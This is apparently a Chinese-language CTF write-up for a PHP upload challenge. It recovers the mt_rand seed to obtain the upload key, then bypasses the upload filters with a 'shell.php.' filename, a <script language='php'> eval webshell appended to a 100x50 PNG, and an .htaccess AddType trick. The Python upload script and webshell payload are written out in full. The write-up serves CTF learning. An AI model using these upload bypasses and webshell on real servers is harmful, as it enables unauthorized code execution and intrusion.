little dropbox
<?php function upload() { $uploadDir = "uploads/" . md5($_SERVER['REMOTE_ADDR']); echo md5($_SERVER['REMOTE_ADDR']); if (!is_dir($uploadDir)) mkdir($uploadDir); if (!empty($_FILES["file"])) { if (preg_match("/ph/i", substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], ".") + 1))) die("nonono!!!"); if (mb_strpos(file_get_contents($_FILES["file"]["tmp_name"]), '<?') !== False) die("nonono!!!"); $info = getimagesize($_FILES["file"]["tmp_name"]); if ($info[0] !== 100 || $info[1] !== 50) { die("nonono!!!"); } } @move_uploaded_file($_FILES["file"]["tmp_name"], $uploadDir . "/" . basename($_FILES["file"]["name"])); }
$ready = filter_input(INPUT_GET, 'ready'); $key = filter_input(INPUT_GET, 'key'); if ($ready === "1") { session_start(); if (!isset($_SESSION["secretKey"])) { $_SESSION["secretKey"] = mt_rand(); } mt_srand($_SESSION["secretKey"]); echo mt_rand() . "<br>"; for ($i = 0; $i < 225; $i++) mt_rand(); echo mt_rand() . "<br>"; echo mt_rand() . "<br>"; echo mt_rand() . "<br>"; if ($key === (string)$_SESSION['secretKey']) { upload(); } } else { highlight_file(__FILE__); }
|
解题思路
构造伪随机数
一开始需要构造 key 才能上传题目, 开始时考虑使用专门进行种子爆破的 php_mt_seed 工具
后来百度发现无需暴力破解就可以计算原始种子
https://www.anquanke.com/post/id/196831
前提要求是给定间隔 227 个值的两个 mt_rand()输出结果,例如第 1 个和第 228 个 mt_rand()的输出结果
下载 mt_rand-reverse-master
https://github.com/ambionics/mt_rand-reverse
传参 127.0.0.1:100/upload.php?ready=1
412630690<br>1046894031<br>1961239210<br>2006731948<br>
Cookie:PHPSESSID=o065m8ssj0dakiv4iijtsp8sq6
传第 0 个和第 227 个 mt_rand()值
python reverse_mt_rand.py 412630690 1961239210 0 0
|
得到 key 值 1955787332
构造绕过 PHP 文件上传
使用文件名加点绕过
内容用 js 语言<script language=“php”>绕过
内容大小要求 100x50,使用 python 库 PIL 自动生成
import requests from PIL import Image from io import BytesIO from urllib.parse import unquote
url = "http://127.0.0.1:100/upload.php/?ready=1&key=1955787332" cookies = {"PHPSESSID": "o065m8ssj0dakiv4iijtsp8sq6"}
def create_image_with_payload(): img = Image.new("RGB", (100, 50), color=(255, 255, 255)) img_byte_arr = BytesIO() img.save(img_byte_arr, format="PNG")
payload = b"<script language=\"php\">eval($_POST['cmd']);</script>"
img_data = img_byte_arr.getvalue() + payload return img_data
def upload_file(): img_data = create_image_with_payload() filename = "shell.php." files = {"file": (filename, img_data, "image/png")}
response = requests.post(url, files=files, cookies=cookies)
print("Response status:", response.status_code) print("Response body:", response.text)
if __name__ == "__main__": upload_file()
|
最后访问 127.0.0.1:100/uploads/md5($_SERVER[‘REMOTE_ADDR’])/shell.php 用蚁剑连接,密码为 cmd。
另一种方法:.htaccess 文件绕过对上传图片的尺寸限制
我们可以使用 WEBP 格式绕过
WBMP 图像的开头可以使用 # 设置图像的尺寸大小,这正符合我们的要求。题目限制我们上传的图片尺寸必须为 100x50,那么我们在上传.htaccess 时便可以用 WBMP 来绕过:
#define width 100 #define height 50 AddType application/x-httpd-php .jpg
|
参考上文生成一个图片马,上传.htaccess 和 a.jpg, 上传 getshell